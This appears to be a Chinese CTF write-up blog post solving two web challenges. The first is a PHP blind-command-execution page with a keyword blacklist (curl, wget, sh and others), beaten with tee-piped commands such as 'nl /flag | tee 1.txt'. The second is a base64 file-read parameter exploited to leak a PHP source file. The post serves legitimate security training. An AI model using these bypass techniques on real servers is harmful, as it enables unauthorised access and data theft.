writeup1

CTF 第二天

notrce(无回显命令执行)

题目:

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
error_reporting(0);
$c=$_POST['c'];
if(!preg_match("/vi|less|tail|head|od|sh|echo|touch|re|mv|rm|cat|ls|tac|more|cut|curl|wget|base|>|<|`|\*|\\$|\\\/i",$c)){
exec($c);
}else{
die("hacker");
}

过滤了这些命令:

vi less tail head od sh echo touch re mv rm cat ls tac more cut curl wget base

以及这些符号:

> < ` * $ \

exec 执行无回显。用 tee 把结果写进文本:

1
vidr|tee 1.txt

image-20230428125330260

当前目录没有 flag。从根目录列文件:

1
du -ah /|tee 1.txt

Ctrl+Fflag

image-20230428130655604

找到后再读出来:

1
nl /flag | tee 1.txt

image-20230428130752959

完美网站(条件竞争)

访问会一直重定向到:

1
xxxxxxxx/?img=dHVwaWFuLnBuZw==

img 的值解出来是 tupian.png,判断它是读文件。直接访问会提示 n 没被定义。

image-20230428142440565

加上参数 n

1
GET /?img=dHVwaWFuLnBuZw==&n=1

image-20230428142501955

提示:

image-20230428142525171

n 要在 20 以内,但跟 n 的值其实没啥关系。

image-20230428142159616

丢进 Intruder 爆破。payload 乱写也能拿到图片里的内容:

image-20230428142744778

image-20230428142753653

把图片内容 Base64 解码:

image-20230428142824025

末尾提示了 ffffpq.php。直接访问什么都没有。把 ffffpq.php Base64 之后赋给 img,让它读出来:

image-20230428144015200

解出来就是 ffffpq.php 的内容,get flag。

image-20230428144117321

image-20230428144135207


writeup1
https://noeplex.com/2023/04/28/writeup1/
作者
To1y5
发布于
2023年4月28日
许可协议